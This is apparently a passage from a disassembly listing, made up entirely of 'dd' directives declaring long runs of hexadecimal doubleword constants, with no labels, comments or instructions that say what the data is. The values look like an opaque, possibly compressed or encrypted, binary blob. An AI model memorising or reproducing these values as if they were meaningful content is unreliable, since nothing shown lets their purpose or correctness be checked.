		dd 6D5D3E19h, 84364100h, 75152DA6h, 9B2F269h, 20084B31h
		dd 85D26024h, 0AF606053h, 0E6010C05h, 989DAC28h, 0F30BEBAh
		dd 0D7DA00DBh, 0E709E0AEh, 2F06F83Fh, 0D3F6B272h, 22A00F0h
		dd 0DDCB1AE1h, 0BC00D870h, 0E824495Eh, 54809ACCh, 3A778CF3h
		dd 5E44B83Ch, 45976A00h, 0DD7096EBh, 0CA7FC5h, 0F6AAD16Dh
		dd 2E42E8EAh, 75BE700h,	8C7545EEh, 0D7BC00A2h, 62DFE395h
		dd 220092F7h, 0E9C0B18Eh, 0E7E593h, 2B38298Ch, 0C13F03C8h
		dd 6E647B00h, 5DDF148h,	4388C7CDh, 701A6021h, 9C006F5Fh
		dd 6052BA3Eh, 4717D9Bh,	545C5547h, 3571C337h, 6145EDE8h
		dd 48E43B01h, 334F7B9h,	88A6ECh, 63169129h, 0BC2056A7h
		dd 0A54EB53Eh, 137C2285h, 43CCC034h, 4EDCA94Fh,	18E44AD1h
		dd 0B01A71D2h, 9FF008Ch, 0DFCC8556h, 0C8F51E33h, 537A5139h
		dd 9BEE7103h, 0BF1338E3h, 0BD5648B0h, 3FB63BBBh, 8827330Bh
		dd 92C9A448h, 0C13B1D00h, 0B9A35DF4h, 265F00DFh, 71D1E66Fh
		dd 80A0CE82h, 4C9C3E05h, 0E261DA04h, 3410D787h,	0E18643Ch
		dd 9C5DE133h, 1569C621h, 0C44AF52Ch, 9400062Dh,	57F37ADAh
		dd 946CBF2h, 91D33B67h,	0F012D382h, 0AA42C060h,	0A5504E73h
		dd 0C600C8F4h, 0B4F8EDA7h, 0AEB7F6h, 73CB4C71h,	0B5D95832h
		dd 9AB0501h, 1DB4CF9Bh,	0BA8D3464h, 4DC607CCh, 90899DB5h
		dd 0A8445654h, 60DC0124h, 0A9C2B202h, 2C38C10Eh, 92A3C4F0h
		dd 0C97900E8h, 0FFB3C16Eh, 0BE003766h, 0BF5A2D3Ah, 4D35D3h
		dd 33E51983h, 0C16F4B73h, 78264E24h, 880AB500h,	24AB76B0h
		dd 1334C201h, 46C00CCh,	0E8321078h, 26B26900h, 0C4FD62DDh
		dd 2E8D002Dh, 5E2CBD87h, 0F3E0384Dh, 0A977701h,	55B0C2CDh
		dd 0DD5060h, 1ED2C950h,	0E394B7E5h, 35FDCA01h, 0A6BBC5C7h
		dd 0B507C841h
		dd 0B1D3D050h, 0C0AA01F4h, 886C1EAFh, 5D02CE7h,	0E416A1E8h
		dd 3BCD98B0h, 0CA8249h,	0BDD7CAC4h, 2D038708h, 0B976226Bh
		dd 0F1469B79h, 50205DF7h, 0E39F2DE5h, 5049C480h, 80E93840h
		dd 872C2820h, 575FE5h, 6C67D35Ah, 0FC235B83h, 2940C410h
		dd 42BDBA04h, 913880BBh, 0FB04A681h, 0DF11DC2h,	62ECA0h
		dd 9EE0739Ah, 0CE4C1386h, 0BB003C7Fh, 61669BC2h, 7D0A4Bh
		dd 673A94F7h, 429227C6h, 45719602h, 40BAEEBFh, 140E070h
		dd 36FBCBC9h, 80AE7292h, 4B54D419h, 2CB244ECh, 966E08h
		dd 0D9039F81h, 7E049307h, 39F8168Ch, 0E9A4CD1h,	7AC07079h
		dd 5229F2CDh, 0F6F7FF00h, 0DF79029Ch, 3A2077FAh, 0B5F8BD8h
		dd 0C4444F9Ch, 0DE61F900h, 5A533849h, 0F4450A3Eh, 808C18CFh
		dd 4815D202h, 0C026C54Dh, 0FC00389Fh, 0F7F5CF0Fh, 0A4EB0039h
		dd 0AF41BB6Dh, 0C264B64h, 9813298Fh, 3DE09800h,	11406B1h
		dd 13872837h, 0C0900EFEh, 60C0B6B4h, 22BE52CEh,	0EDF05845h
		dd 9F3E0107h, 6CC57E83h, 0EEDC80FEh, 9400E4E0h,	0E533909Ch
		dd 371A23h, 0ED88BE17h,	0CCD6436Bh, 455AE600h, 0CFD26A2Ah
		dd 0B06E38B7h, 0BD616300h, 30197EE2h, 606F5407h, 0D14093D8h
		dd 0CA894Ah, 5A5F4EC2h,	0A54DFD42h, 0C8C1007h, 7C208214h
		dd 4CE0FF4Ah, 3C01F4B7h, 8F11BDACh, 0CDC0C0B3h,	0A444C600h
		dd 0FA32690Eh, 736D005Bh, 0D41B6BC9h, 0DA003FF8h, 0ADA49ADEh
		dd 3EF720Dh, 0A3EBF9E2h, 9CB193F1h, 82B4C805h, 0FA544B16h
		dd 60441C00h, 0FE9F6B0Eh, 9D87002Dh, 0BF38D7CCh, 8A0013ADh
		dd 0C67119B6h, 2EE9E5h,	0B92DC86h, 24F0081Bh, 76E89C18h
		dd 12827238h, 6EB3CE23h, 0D9D51014h, 323947F0h,	0C800035Bh
		dd 7E122484h, 62D43C6Ah, 0DBA7F701h, 48D5826Fh,	0A400C980h
		dd 0A5585D1Bh, 7672BFh,	0FA31E9ADh, 105E56F1h, 0F4A79D1Dh
		dd 0CAF9880h, 573695h, 74FEC349h, 0A0D73865h, 267B0800h
		dd 8CB36F87h, 0FB21021Eh, 0FFF977B5h, 63050C5Eh, 8C05AAAh
		dd 5F479F8h, 2C330CE6h,	80CC91BAh, 9C2834E0h, 6BF6E00h
		dd 4B139AB8h, 61B2026Ah, 8A032DEDh, 755CFFC0h, 0A50034BAh
		dd 5E0CEE28h, 5AD52h, 298A54BCh, 0D538501Bh, 0BA09D898h
		dd 40F561CAh, 128C07B8h, 0C03B8766h, 0E93603CCh, 56D7C00h
		dd 0B168EEFFh, 3CC9CA1h, 3A01516Ah, 0EB0B37A0h,	404C4213h
		dd 217F9880h, 52580BCh,	514BB48h, 2A741E83h, 55AB7CD0h
		dd 952B0E0Ch, 0BD0011AEh, 0FAE4ECACh, 647298C0h, 5C4F0BABh
		dd 5E0058A6h, 62465956h, 0D0F4583Eh, 81922A2Dh,	7EC11688h
		dd 0A4407080h, 53CE6A0Dh, 26E52207h, 74207581h,	0B24B2F5Ch
		dd 546301CCh, 32065803h, 0B5AAF82Ch, 415DB300h,	494F6E5Eh
		dd 0D4254C8Ch, 0AF7EA100h, 0EF4AEE57h, 2C8949h,	60E29F53h
		dd 7A1118h, 74EC55B9h, 20F8F5A6h, 3DD9D200h, 8B64F316h
		dd 9202077Bh, 1E370A21h, 0D62E6DE0h, 0CFACAE5h,	4AB4AC1Ch
		dd 2B1E7D02h, 2A84E8F3h, 7C2E0055h, 0E4C13032h,	8515BC47h
		dd 410F729h, 0D0327D9Ah, 47403F07h, 65434EEFh, 0A909B73Ch
		dd 22E0F737h, 0E0959420h, 7D7A66h, 1EA8457h, 2BC0A4B5h
		dd 0DF939F0Fh, 8254C023h, 0F4B308h, 756C1A3Fh, 94B673A8h
		dd 74009673h, 642BCF62h, 45B0E55h, 0F2CED4EFh, 0EC3EC03Fh
		dd 0C101E831h, 35CDF625h, 8880E9BAh, 622D4E03h,	3014568Dh
		dd 0D81DFCh, 0E437803Ch, 70B19715h, 0B6FD00F6h,	69034C2Dh
		dd 7C4ABC54h, 0C92550C0h, 0A59431CDh, 0D08CF8C0h, 3D506286h
		dd 49009F74h, 442A539Ah, 0C0BCFh, 90FB9CDFh, 99ACF556h
		dd 13C4C81Ch, 0A512B500h, 9D4AF3h, 38E15F0Eh, 0F298CDBEh
		dd 0C2008C7Fh, 30EED423h, 0E67E3B4Dh, 0F0A203DBh, 0EDA81B70h
		dd 0E4F42289h, 631C6AD5h, 0F78006A7h, 2550C40Fh, 21D0038Ah
		dd 91429EB6h, 4DD96BF8h, 40A0DF03h, 0EBE200Eh, 0C114ACB1h
		dd 0D3001C0Bh, 1FFCD1F5h, 0C0013FCh, 0BB158FFAh, 0A00A87D3h
		dd 0C26E5380h, 0EDB2A39h, 0D8E1E8A0h, 95003A41h, 0E41336CEh
		dd 86791Fh, 0E5238BFh, 0D03F6935h, 0C9FDDC00h, 927C9A54h
		dd 0B13A004Ah, 6862096Dh, 451DD051h, 61309F83h,	7E1716Fh
		dd 34D72B5Fh, 29920074h, 650097CEh, 3956B678h, 0C0E89F8Ch
		dd 5A2C7231h, 32792F1Eh, 0E0BA9A0Ah, 6A8110A1h,	3EB037EBh
		dd 0C32DDBF8h, 0DDA036D0h, 0AFEC8AE0h, 7E01F87Ah, 4EDF0F6Bh
		dd 0BBE0A7CBh, 16940054h, 2B5007B3h, 0F900AEC9h, 0CB597366h
		dd 14D345Fh, 512D09ADh,	0D032FF08h, 110041F8h, 9BE09CBBh
		dd 5D9D77h, 5633BAD9h, 0A921A4E7h, 0FF5A338h, 60B9DA8Ch
		dd 16D2DF37h, 8A7662Fh,	6900218Bh, 4457B9D3h, 0FD5A28h
		dd 0B08F8DAh, 0D50C22A6h, 0F7641500h, 5DF93A34h, 0A3AC03E8h
		dd 4F4A1623h, 0D5100CCFh, 0D1E9EC00h, 0E7B8CA83h, 85A636Eh
		dd 2001014Ah, 97E9C02Fh, 0E8CBF58Eh, 118FD2h, 5B1EA8EFh
		dd 0DA14E375h, 696F3903h, 1D08C1B1h, 83CDF539h,	0DA102BD0h
		dd 0B23CBFE8h, 0ACE720C0h, 0C01E96DDh, 0E3676029h, 6103C88Ch
		dd 6E9FF244h, 1DA37Bh, 0E51E5E21h, 0B7A8C84Ch, 0D8B86A07h
		dd 4410059Dh, 3304F19h,	0A637FC91h, 0E006F93Bh,	0A93397CDh
		dd 0D65C0110h, 7D41B6D1h, 0F84360D3h, 0CCFC7805h, 80BAA3F6h
		dd 90ED0EE9h, 1B17600h,	41261A10h, 0A34A00E6h, 0B81E5298h
		dd 8C07DADBh, 3AE02883h, 0E5745420h, 7A76003Ch,	0BE414211h
		dd 6D0061AAh, 0B5A2D720h, 89DD6Ch, 192D1F2Eh, 0C278D10h
		dd 46F048E2h, 0A2286000h, 0F46CA9ECh, 6F173F8h,	0DB53CA90h
		dd 48510FDh, 4E42C055h,	1500509Bh, 0D9F646Ah, 5D1E6Ch
		dd 0EFB4123Bh, 4EB105D6h, 9B68171Eh, 0E03280Fh,	40039CECh
		dd 0E0DB8250h, 7971752h, 0DE7C576Ah, 76BC0D8h, 1200541Ch
		dd 7E5664D4h, 7F4DF845h, 4F1E1D23h, 519B409Fh, 4069F715h
		dd 0D97D3Ch, 84091448h,	2B257FEFh, 7970FE77h, 9E7CC7EEh
		dd 0A08A401Dh, 0C0C8D880h, 63F098h, 136E0623h, 9C05EF08h
		dd 405DF103h, 21830E97h, 0EF08BC28h, 88299069h,	99784220h
		dd 129B3421h, 119F1D01h, 74121445h, 6108D111h, 44E99D44h
		dd 2284107Ch, 955043F8h, 14A1AF3Ch, 0C350418Ch,	0F929943Dh
		dd 1744713Ch, 4E108448h, 0AD28151Fh, 10DC2228h,	72144450h
		dd 11B14284h, 60117F62h, 67181594h, 825218Ch, 0DC887D4Fh
		dd 0C2EC0097h, 0A17776D6h, 91A58800h, 7EC8938Fh, 0C44100DCh
		dd 0B4162442h, 281E952Eh, 0DB40AC53h, 0E66797FFh, 0C670E737h
		dd 88A50019h, 0BF1CDF1Eh, 42795E0Ah, 717F4D00h,	0ACDEFED0h
		dd 8BB2004Bh, 92B77EB4h, 8300B196h, 0A82207EEh,	10CBAF2h
		dd 2F3F35C3h, 0E95A380Bh, 25C5F4D5h, 0C0806400h, 0B749B8ADh
		dd 977E95h, 0D8E96018h,	634C02F1h, 26333Fh, 14B03F32h
		dd 9ECA9h, 0F3F1C582h, 1B442280h, 32009079h, 19E648FBh
		dd 1ADF24h, 0B48E491Dh,	0E4C32F8Bh, 85517D0Eh, 501380FCh
		dd 93F465Dh, 0F71B9EE6h, 12995C03h, 61319AB1h, 8D13F019h
		dd 0EF1DD4F6h, 8800736Ah, 7115E85Ah, 7E6801B9h,	0AC100C44h
		dd 1724C040h, 53DA3Ah, 55C665A0h, 2C9E7C06h, 494812h, 956BEB28h
		dd 8D058215h, 0A60A91D8h, 486E6182h, 0E48A759Ch, 0E325001Ch
		dd 0B0FEB3E6h, 4800E113h, 0EA38262Eh, 0A39F6AC8h, 1D60D884h
		dd 5A0F1C4Dh, 170C407Ch, 0BBA5DEFBh, 47CE5500h,	90D4860Ah
		dd 0E6EE5Dh
		dd 4E799D2Fh, 0C410284Ch, 44BF8900h, 56354F26h,	3CFD00EAh
		dd 625B8F2Ah, 0EE0A6B18h, 0A0D958E8h, 4DA3003Bh, 9E8109DAh
		dd 99C000AAh, 22901925h, 1A0049C8h, 21871E35h, 1606EEh
		dd 85667C15h, 31E01DAFh, 0A06D2A0Fh, 0E96C4025h, 32A428h
		dd 0A5C5953Ah, 5D619964h, 0B2B0BD00h, 7CDBAF3Dh, 0A74A1F68h
		dd 0F19A8070h, 0F56AC940h, 0C381A300h, 0BE5E2A7Eh, 9CC4509Dh
		dd 7F0300F9h, 59B6AC9Ch, 670080E2h, 0D7F34E24h,	0F7C7208h
		dd 5B5FD8DCh, 0C1B79220h, 8200C247h, 0A8436BBCh, 1CE9842h
		dd 0F58B5B22h, 20E4FE7Dh, 1203859Bh, 75709C13h,	0DC64D073h
		dd 554600E1h, 0DD586B83h, 4E1FD485h, 0FB806079h, 992BB41Bh
		dd 0F991001Fh, 38CC6FD5h, 8500BB59h, 27879BB7h,	0ADAFFCh
		dd 3281CFD9h, 0A7B65B28h, 0EF90F814h, 0F20900C0h, 0BEAE37BFh
		dd 0B8201E0Ah, 94F30072h, 0E02342CCh, 9B58E900h, 68928670h
		dd 0FA8326B7h, 8D8038B8h, 0A8B3107Bh, 4D7481D3h, 0FF98D11Ch
		dd 0C0439986h, 12807560h, 0CF76B56h, 8081454h, 0C2F91C00h
		dd 9483932Bh, 0EF133FFFh, 1EB85180h, 0C436A617h, 0C08E4807h
		dd 9207AF8Fh, 1CA07DF0h, 4A8906Eh, 2D9CBB33h, 7B108126h
		dd 0AA40F88Fh, 82640401h, 0F5BA34AFh, 15737D0h,	0B003CD0Dh
		dd 7A05D715h, 50271EA0h, 0D8BE81h, 0B959BD7Ah, 5D4C03E2h
		dd 0BF649001h, 0D0FAAB22h, 416DE880h, 0BB683BE1h, 9D601700h
		dd 0B9370688h, 0C4F2001Ah, 9325C37Ch, 6D76F520h, 7A751400h
		dd 4ACE4668h, 99C10057h, 0ACAF395Eh, 973B5A95h,	9E0E007Bh
		dd 363BEC45h, 29530133h, 0DB026151h, 0C9AC4C5Bh, 18C52A00h
		dd 1B25E3DDh, 0DE3C003Eh, 547E75B9h, 6F00635Fh,	78310EE9h
		dd 988DEDECh, 0BBF12491h, 0E820DFh, 0F6C34DBDh,	683A977Eh
		dd 0E6F3D900h, 0E29F5C56h, 0D13C094Eh, 1C801F4Fh, 0ECE52DF8h
		dd 63BC9804h, 1A80FD84h, 7CDD747Ah, 68900FA1h, 401E7787h
		dd 8C70FF8Ah, 4D0BD87Fh, 20C35035h, 22A0E1C4h, 688A0030h
		dd 0F7C819D7h, 6A06A5F2h, 5CE31D9Eh, 0BBAF0098h, 52E134EBh
		dd 6300D3F8h, 91D92199h, 1F09F62h, 0ABA6D5DFh, 40F526A0h
		dd 969B8F2h, 8B1DBF07h,	0CA706B78h, 9A9EDDCh, 66602C3Bh
		dd 75458E01h, 0B1D0F782h, 0C22FF712h, 7F44Bh, 52B4A4CFh
		dd 7D000CD5h, 134375BFh, 1CBB3Ch, 0FC5DE6BCh, 1BC0164Fh
		dd 4A00DA7Ch, 678B5F9Ch, 2D4EBAE9h, 41C0B7CAh, 400273Dh
		dd 0F29D5031h, 1EBC0CC2h, 404CB61Dh, 54B2E6Fh, 830501BAh
		dd 0BF869B9Ah, 45C18C07h, 0B7F6F710h, 0C6843833h, 0ED546580h
		dd 49E09616h, 0B0877E00h, 970EA934h, 1EA00E80h,	55206A5Bh
		dd 0FDF29543h, 4BA3CD07h, 31427E6Dh, 612440A8h,	20EF1C81h
		dd 0B9D68051h, 9515AB06h, 1F2BA500h, 0F3B88BA6h, 0F4A400A7h
		dd 9F898327h, 0ED5865CBh, 78EF1F24h, 13C6037Fh,	0E82D4254h
		dd 98A11971h, 95820000h, 0F0A885Bh, 7200968Ch, 0E6F78AD3h
		dd 4AA8BD4h, 640CFA33h,	81D88498h, 0CC1338CFh, 310FA7A3h
		dd 0C73D05h, 79748776h,	0B45E00F0h, 0E4F1D67Ah,	36046B98h
		dd 8DA34F3Dh, 0CB4B52C0h, 0BCC000C1h, 0D464A730h, 213CF21Bh
		dd 2E7803Ch, 0ED6BA47Bh, 7757442h, 7D875083h, 10604E88h
		dd 0CFD790FBh, 0D48BA126h, 2E140500h, 36258h, 0B2D2967Dh
		dd 205F6F68h, 0F30090B8h, 6701F4CBh, 9B9507h, 5EFE481Bh
		dd 0A7C746C6h, 39348E01h, 3167647Ah, 4CD3F5FCh,	6E00D4BDh
		dd 6372A038h, 0C15C9C8Ah, 79F3D34h, 1154F9AEh, 8019EEB7h
		dd 0AF5E0380h, 0C8890052h, 5C75699Fh, 0CA5822A5h, 945809D9h
		dd 289C00FCh, 830237h, 0B1129D2Bh, 0AC39EBADh, 0B8613Bh
		dd 3D3056D0h, 3BC95AC0h, 87877B54h, 860885h, 12BCE39Bh
		dd 11298B05h, 0FC01820h, 0B51233Bh, 8F992142h, 7E399CB0h
		dd 2B4F5900h, 31B42AF9h, 0EEA800D9h, 0F3C403C7h, 8FF41615h
		dd 0CF023E7Fh, 8821091Ch, 40D7E063h, 0E0F000E9h, 0E5F22724h
		dd 20F9AF11h, 0B5001A1Ch, 0F95B7E29h, 596B47h, 7AA49D39h
		dd 0E0A76070h, 0D38A561Ch, 940F65Fh, 6E08803Ch,	12FF039Fh
		dd 66797BDDh, 925644D8h, 0A0291D01h, 0EF4125B4h, 0D4EC8DBh
		dd 932C00C1h, 0E4E88623h, 0CB00FD7Ah, 70219DEEh, 172767h
		dd 0C7388DD7h, 0F3C9AC32h, 0AC694Ch, 0A79A9162h, 5AE6BBh
		dd 0D6C797F5h, 929D6BAEh, 0E40E37E8h, 6186319Bh, 42C108EEh
		dd 1AD027D9h, 8B3B2CC3h, 0FB1F0030h, 746A65D7h,	2CE2B503h
		dd 0E7EFDCh, 0A5F36FD0h, 1D414F12h, 6BB64A07h, 9801E7Fh
		dd 0EB8EC18h, 0D11FCEFBh, 0B1E55F60h, 0DA2EF031h, 0C10B5D57h
		dd 0C7C880F8h, 3439230h, 94E42A93h, 21E8A3A1h, 9C00B376h
		dd 6CAB42F3h, 99400F7Dh, 95380F18h, 43F82B20h, 2D1D7BA2h
		dd 0A140D09Dh, 8F6CD7BFh, 852F019Ah, 314F77B3h,	5F4C20ECh
		dd 45221801h, 0D8D01AEDh, 1281870h, 0A7A2FC6Dh,	80CC1D63h
		dd 71A89E28h, 3DB7DF8h,	3E90028Ch, 0B10078ACh, 0A0D8F3Fh
		dd 2C9F2277h, 4D010C2h,	0D06BEEE9h, 45A3F358h, 0E1789600h
		dd 2C5F1F66h, 33D502B2h, 5CC46A70h, 0F1284460h,	0BCE7D90Ch
		dd 2DB1D4h, 94827F7Bh, 0BE46BFC5h, 0D1C6B700h, 3B8E4420h
		dd 5B310366h, 149EDA7h,	60546FA1h, 65E4DF10h, 0F83F0B00h
		dd 1AC4F1D1h, 323C0E6Eh, 13220D9h, 0D6502DE6h, 0FA4FE4F8h
		dd 7CA9CF00h, 9BE3ED36h, 0AB7F04h, 0DED0D234h, 4FBF387Fh
		dd 0F1765107h, 0A71244B4h, 8DAC4021h, 41C34A93h, 7810BEA0h
		dd 0E8A0515Eh, 0D3D540E7h, 5700BB42h, 4D4AFF70h, 1C9663F3h
		dd 3F3237h, 9B0A7424h, 0C01E17CAh, 130EAA8Dh, 5D8E073h
		dd 50295687h, 13F3B4EEh, 0C0B4A6h, 700AFC34h, 0D009433h
		dd 584C661Bh, 0F1CD8Ah,	52D8541Eh, 480F3FDAh, 0F8311907h
		dd 807F5972h, 0EEE5E1EAh, 48C55895h, 0B1BD0600h, 294166D2h
		dd 51D4D718h, 0FEFFD0B4h, 0D653002Dh, 0D24E6318h, 0BB002B15h
		dd 0C9EBF522h, 160DE599h, 0FFBF4Dh, 3893A5B4h, 0D47FEC59h
		dd 0FEF3B404h, 2880A058h, 9806B77Ah, 0AA8200BAh, 2EBB3194h
		dd 0A60A9C91h, 0C1B8524Ch, 55A2B200h, 1DB65382h, 36678D1h
		dd 0D736ED5h, 74D322F7h, 0C9AE8640h, 9F1F3F00h,	3B46E9F9h
		dd 7851006Ah, 92475805h, 69E8C682h, 91BBFA00h, 0BF280CD6h
		dd 0A23300B4h, 0D2AE1E17h, 8924F2FEh, 6B03585Bh, 9065611Ch
		dd 467BA4h, 0D57D309Ch,	3DB807AFh, 24FC58h, 2A94836Fh
		dd 0F94009B3h, 0AB6070h, 46CD037h, 88ED4D4Fh, 195C0F02h
		dd 603B933Fh, 62A988h, 1395F423h, 0B7CF84EDh, 6BF66F00h
		dd 6C2977D5h, 0B03A0085h, 0C1BE761Ah, 0E91E61FDh, 6204E44Eh
		dd 4C80FAB6h, 7EE08E3h,	9FAF922Ch, 0DDDA3Ch, 0B176BDA3h
		dd 0E7016E75h, 1C7CA45Fh, 94F8465Dh, 38F6984Ah,	1CFF764Bh
		dd 0C07273E9h, 54C18575h, 1577875Fh, 0BAD3990Fh, 2B6FE050h
		dd 0B7B516h, 2021635Ch,	92E83E07h, 0E0C07251h, 11003FC3h
		dd 0B0D2FB05h, 0CF235D7Ah, 0E0A0EB30h, 686AFDC8h, 9FA41D1Ch
		dd 7331C440h, 4448DDh, 0CB5EEA92h, 3340EB38h, 4E006077h
		dd 5A92EACh, 863E20h, 0FD3A6763h, 665B11FEh, 0C865D300h
		dd 6FDF252Bh, 2C945Ah, 85E18DE3h, 0D10046B5h, 1BA54823h
		dd 7C7488h, 1F1668E8h, 28FD2C1h, 0C8EB600Eh, 11D34144h
		dd 7838CD88h, 0A2A6807Ch, 80054D4Bh, 1C80174Bh,	0CFEC91h
		dd 0ADBF1C9Dh, 6FCD5EB7h
		dd 0DBB06000h, 98F6B3C9h, 800E00E1h, 0EC8B0743h, 5D1E6E36h
		dd 22007B2Ah, 0F21AB7EFh, 0D772A0h, 604F9A38h, 64CB08AFh
		dd 3071B9F6h, 0B173B403h, 0E3EA0CD8h, 7A800E6h,	1A54C6E2h
		dd 0B702E143h, 759344E8h, 0DEC0C08Ah, 0B3B61381h, 218C087h
		dd 7B4822C1h, 0E61D00FCh, 788F8DAFh, 5875DEh, 6F40B62h
		dd 917F5C3Dh, 0E86FEE00h, 75E357F3h, 7E0B09Bh, 0E7EC4ABCh
		dd 0AA9691C4h, 4FF470FFh, 0F7919801h, 0C2A1B5DFh, 3A71D2FCh
		dd 4800D16Fh, 85510EC3h, 87009705h, 6DE53C93h, 1C425569h
		dd 113BBD7h, 0B927DF22h, 0C42FE023h, 7056C200h,	3146F579h
		dd 249AF6A5h, 7C0C39h, 9B0DEACBh, 0BEE3A068h, 0AF228080h
		dd 4E99AED5h, 5D33097Bh, 80A014E9h, 0B45767BEh,	0B0E06405h
		dd 0A40227D5h, 609A6374h, 1E2920A2h, 809096EDh,	702CF6A8h
		dd 0E04B9BBFh, 0EEA66440h, 7B7A8C14h, 99A1EC2h,	2F8DC046h
		dd 0DFB9F5Ch, 0D58E2A07h, 0E960A5BFh, 306DD28Ch, 36F807C9h
		dd 62035ACFh, 0BCE2E57h, 45A5C0FCh, 4416027Ch, 25CD6890h
		dd 72E95448h, 5EC23Eh, 96194024h, 0BDFE617h, 0DC058B4Ah
		dd 0FCA43580h, 6C7577F1h, 1D484492h, 3B76007Ch,	0BF35C3EEh
		dd 52AF0C5Bh, 751177D0h, 0F1F66A07h, 90E37F53h,	3096B857h
		dd 393800EDh, 701887Ah,	0DB2C589Fh, 2701E8A9h, 0D144B587h
		dd 8AFD9882h, 24480EECh, 5648399Dh, 50B400BCh, 0F5FE2198h
		dd 6BDB05D7h, 809FD5F3h, 57273EFCh, 0F7B83000h,	0FD82E2DAh
		dd 73490125h, 6390ED5Bh, 0F9C180A9h, 67D7281Ah,	99E60334h
		dd 0A59D0262h, 0E5AD8800h, 6BA219C3h, 30EB63A0h, 2CF8638Bh
		dd 8F031726h, 0DD5AF3B9h, 350AB885h, 453E04A1h,	85C22EBAh
		dd 5294032Eh, 0C800F2B6h, 118D8216h, 0F8B3873h,	3F1F33D3h
		dd 2C1E1240h, 94009D6Dh, 3B7B8117h, 380FE608h, 0CE0216BFh
		dd 703FF2CCh, 0EF541F48h, 0CB2AC301h, 1813A6B6h, 0FE38F030h
		dd 94215477h, 0F6F907E1h, 26A9489Eh, 840BD0D5h,	60B98536h
		dd 0CEBB30h, 47E91E5Dh,	3E74590h, 65002D7Dh, 36BD771Ah
		dd 0E66498h, 0AF6A658h,	0B3E24DB1h, 5561E00h, 0B2790C12h
		dd 7B82008Eh, 18DF69A5h, 8B004508h, 0C6FB547Dh,	3B20EBh
		dd 87928EC5h, 6E7BD825h, 0D75AA616h, 7AA01200h,	399CE141h
		dd 7B58AD63h, 0FC101300h, 5E01D3FBh, 0BCCA2101h, 0F5440B91h
		dd 304620h, 277231A1h, 22BA6B64h, 0B901EE79h, 928C5399h
		dd 65608FB4h, 0D876009Ch, 0C31C680Ah, 62005040h, 0F05C7DDh
		dd 3CAF6D10h, 0A380F422h, 1391934Ch, 77758A32h,	0E6CF3C00h
		dd 8CE1F50Bh, 0A3B0070h, 0FCBFD926h, 610053B9h,	578799C2h
		dd 392C62h, 0C0C6238Bh,	0A3D6A777h, 0CACE0300h,	0B8A4E9C3h
		dd 0FBBF1ED0h, 169B05D8h, 6918900Dh, 283F491Eh,	0C59C00D4h
		dd 329357B0h, 73B704FCh, 80D1CD65h, 289460FFh, 3A455900h
		dd 8088EFBFh, 662B01B8h, 2EA7144h, 907EE4BAh, 85690400h
		dd 75A7386h, 0D92900BEh, 1520C10h, 4B000FA1h, 60048735h
		dd 3C801F55h, 3B00DBC8h, 2A6D747Bh, 0EA00768Ch,	0EFCD6F35h
		dd 0F2F660B5h, 733B7C92h, 735C001Eh, 0A3F5278Ah, 2100C23Ch
		dd 22B6B2C9h, 1EEB6914h, 44FA4587h, 80AB10BFh, 81C85211h
		dd 7C027200h, 8C4D7611h, 887B0374h, 621ADC87h, 0B8F768C0h
		dd 0A4B5200h, 0DE890E81h, 4A2B1C44h, 0E38CC08Eh, 3B37ADF7h
		dd 38E08601h, 2D9A4CE7h, 0FD5F1F8h, 0EAF497E1h,	78488EBDh
		dd 0C9CBEDE0h, 0DA016C36h, 8E55373Ah, 0F7D0FF9Bh, 0BF2401E1h
		dd 6DF49C9Fh, 0D036D4DAh, 0D448FA01h, 16C4737h,	591160h
		dd 8E5709FDh, 4C8FBCF1h, 0A0793F00h, 99A72D20h,	50753992h
		dd 6CD73500h, 0EA83EEA2h, 22008475h, 0EDC39B76h, 3D0395D8h
		dd 0C91C0926h, 835A4013h, 0AD3A9175h, 43346100h, 6A289749h
		dd 0AFCA5067h, 0CB6D00B8h, 0FC904045h, 0DE1EDCB5h, 39B41Ah
		dd 0B72760ECh, 8F9A53h,	70653A72h, 9F5BC0B0h, 0B832502h
		dd 48905742h, 9F32378h,	177DCAE1h, 254900Ah, 0F2117AD5h
		dd 60943241h, 3509B379h, 21D6F036h, 2E2C6E68h, 38A203E8h
		dd 1683B431h, 8620EDD5h, 0B5061DA0h, 80C6C43Bh,	51A6665Fh
		dd 6CBA3DCh, 618E141Eh,	2302104Eh, 0D69A1077h, 46E60056h
		dd 6100D5E5h, 4CE81EF6h, 0E6DD642Fh, 40C98B5h, 9D6C1615h
		dd 6B42C07Eh, 1C0072A3h, 7747EEC7h, 4818B4B9h, 0CC1CC870h
		dd 2A4D2F1h, 0A5F636A4h, 0BDFBB840h, 9D6F7301h,	4601B1C2h
		dd 0F9C424h, 4CD8D3F4h,	69AB7A68h, 0CE216600h, 53B29BC8h
		dd 463F3096h, 5B366158h, 0D57F9D00h, 0C9884C85h, 0B7F0F39Ch
		dd 545D008Dh, 0BB71C6B6h, 17F8520Fh, 4A3840A6h,	0E8C965h
		dd 7E66656h, 798A1F2Dh,	6772063Ah, 2098582Ah, 201A48h
		dd 3C822D56h, 79C73DFDh, 68928Fh, 0F6A02023h, 0D0AB673Eh
		dd 0A7245098h, 18001F78h, 0F8B1CAD7h, 0B55E004Ah, 79248BAFh
		dd 8F074CADh, 80838C45h, 0A06F52C3h, 75E69Eh, 740DF9CAh
		dd 0EEA153FAh, 0FF0EC600h, 0A8ED3A99h, 0FE4E0064h, 4AB9C4BEh
		dd 810AB3D6h, 0CC80DC2Ah, 0EAC25707h, 0B84856h,	7A0C6CDAh
		dd 4998E8ACh, 548CA400h, 632D74F0h, 1E9010h, 896CB2FCh
		dd 0C8C4FFEBh, 8195E100h, 6F33EF25h, 31203A43h,	0B581700h
		dd 8EE61039h, 0A4F69990h, 0A500EFE0h, 803F6F2Eh, 1882C1A8h
		dd 38AC1D86h, 57004BB6h, 1A983C8Ch, 6202F2h, 0BB124465h
		dd 0CBEF97F4h, 0F0005DB0h, 0DEBA0593h, 2E81BFh,	8D719895h
		dd 0B48BFEBDh, 319C623Bh, 0AC0746A4h, 2D65460h,	1F4DCEEDh
		dd 38C026F6h, 0A83E49F8h, 703C49D0h, 2E19AD00h,	0AE4F5A7Ah
		dd 0EF991E5Dh, 6E250311h, 1D0B769h, 0A5042F0Dh,	0DB2CAB71h
		dd 2E1F8080h, 0EFA16E7h, 0BE710112h, 0C832BF68h, 5A076971h
		dd 4688B918h, 76B4DBF0h, 0A1F6BCh, 0E6D8C166h, 1D738DF0h
		dd 8C379418h, 0DEAF74h,	832EFF04h, 0FC64C87Fh, 0DACF2A00h
		dd 0CA5E2D35h, 7FE004Ch, 0E89FF297h, 7000ACA0h,	0CF213164h
		dd 6C9AA7h, 7DD58843h, 4C223A01h, 0EF6B2603h, 0F7A6F652h
